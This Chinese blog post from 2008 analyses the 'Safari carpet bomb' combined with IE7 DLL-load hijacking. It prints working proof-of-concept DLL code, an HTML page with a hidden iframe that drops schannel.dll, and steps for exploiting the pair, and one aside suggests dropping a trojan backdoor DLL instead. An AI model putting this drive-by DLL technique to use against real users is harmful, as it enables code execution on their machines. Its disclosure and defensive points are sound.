Archive

Posts Tagged ‘混合漏洞攻击’

Safari for windows默认配置+ie浏览器——>木马作者的天堂

June 11th, 2008

Nitesh Dhanjani 发现的这个(windows版的safari浏览器在不经用户确认的情况下把文件下载到用户桌面)漏洞。标题为”Safari Carpet Bomb”的介绍可以在Nitesh Dhanjani博客看到,接着微软就发出一份(标题为:Blended Threat from Combined Attack Using Apple’s Safari on the Windows Platform)“安全公告”。Aviv Raff在他的博客发表“Safari pwns Internet Explorer”澄清这个(MS)漏洞早在2006年就已经报告过。

关于这个混合Safari和IE漏洞攻击的分析

这个IE老的漏洞Aviv Raff在他的两篇博客中已经做过比较详细的描述”Internet Explorer 7 – Still Spyware Writers Heaven“,和”IE7 DLL-load hijacking Code Execution Exploit PoC” 漏洞演示代码可以在”milw0rm”找到。

这个漏洞主要出在:ie(Windows Internet Explorer)优先从“用户桌面”加载动态链接库文件(dll),而不是从程序目录(一般是:C:\WINDOWS\SYSTEM32)。

windows版的safari浏览器在没有得到确认的情况下自动下载文件到用户桌面是这次引发windows用户遭受攻击的前因。当动态链接库文件(DLL文件)为特定的名称时打开ie将从这里(用户桌面)加载这些动态链接库文件。两件事情混合起来就是:IE加载运行safari自动下载到用户桌面的动态链接库文件,最终导致用户遭受恶意攻击。

作为演示下边为LIUDIEYU写的演示代码(ie加载后调用记事本打开一个不存在的文件)

另外Aviv Raff也写过个演示代码可以在”milw0rm”找到。

(PS:其实你可以写个木马后门dll扔出去让他运行!!)

/*
        Copyright (C) 2006-2007 Aviv Raff

http://aviv.raffon.net

        Greetz: hdm, L.M.H, str0ke, SkyLined

        Compile and upload to the victim's desktop as one of the following hidden DLL files:
        - sqmapi.dll
        - imageres.dll
        - schannel.dll

        Run IE7 and watch the nice calculators pop up.
        Filter fdwReason to execute only once.

        Tested on WinXP SP2 with fully patched IE7.
        For testing/educational purpose only!

*/

#include <windows.h>

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,
  DWORD fdwReason,
  LPVOID lpvReserved
)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    TCHAR windir[_MAX_PATH];
    TCHAR cmd[ _MAX_PATH ];
    GetEnvironmentVariable("WINDIR",windir,_MAX_PATH );
    wsprintf(cmd,"%s\\system32\\calc.exe",windir);
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(π,sizeof(pi));
    CreateProcess(NULL,cmd,NULL,NULL,FALSE,0,NULL,NULL,&si,π);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

// milw0rm.com [2006-12-14]

———-dll.c———-
#include <windows.h>

BOOL APIENTRY DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory(π,sizeof(pi));

CreateProcess(NULL,”NOTEPAD \”=====(((((we are in)))))=====\”",NULL,NULL,FALSE,0,NULL,NULL,&si,π);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}

你可以编译这个库文件并命名为”schannel.dll”,“sqmapi.dll”或“imageres.dll”就可以利用啦。

———-index.html———-
<html><head>
<title>Test safari downloads automatically</title>
</head><body>
只要使用Safari打开这个页面,同时schannel.dll将自动下载到用户桌面<br>
<iframe src=”schannel.dll” width=1 height=1></iframe><br>

打开ie,将会看到效果(ie远程调用记事本打开一个不存在的文件)

<i>这就是结果.</i><br>
<br>
这个测试只能使用一次<br>
</body></html>

PS:个人认为这个组合漏洞攻击应该算是小概率事件,比如使用safari的用户很少情况会切换到ie,还有如果恶意攻击者,把文件显眼的下到用户桌面(对于这么明显的可疑文件很容易被删除的,如果隐藏怎么办呢?!)。不论怎样这是个潜在的危险(如果下次不是Safari呢?)。

PS2:这是不是也提醒程序员同学们写代码时要考虑自己的库文件搜索路径问题了,当前目录最多的情况应该是桌面啦,当然这涉及到windows内核(..)的问题(加载动态链接库的时候搜索路径的顺序——当前目录,程序目录,系统目录,谁先谁后?)

相关地址:

http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html

http://www.microsoft.com/technet/security/advisory/953818.mspx

http://liudieyu0.blog124.fc2.com/blog-entry-1.html

http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html

http://aviv.raffon.net/2008/05/31/SafariPwnsInternetExplorer.aspx

http://aviv.raffon.net/2006/12/14/IE7DLLloadHijackingCodeExecutionExploitPoC.aspx

http://aviv.raffon.net/2006/11/01/InternetExplorer7StillSpywareWritersHeaven.aspx

http://milw0rm.org/exploits/2929

演示地址:http://liudieyu.com/iesafari200806.2885391780966027/

今日一点, 漏洞, 病毒学习 , ,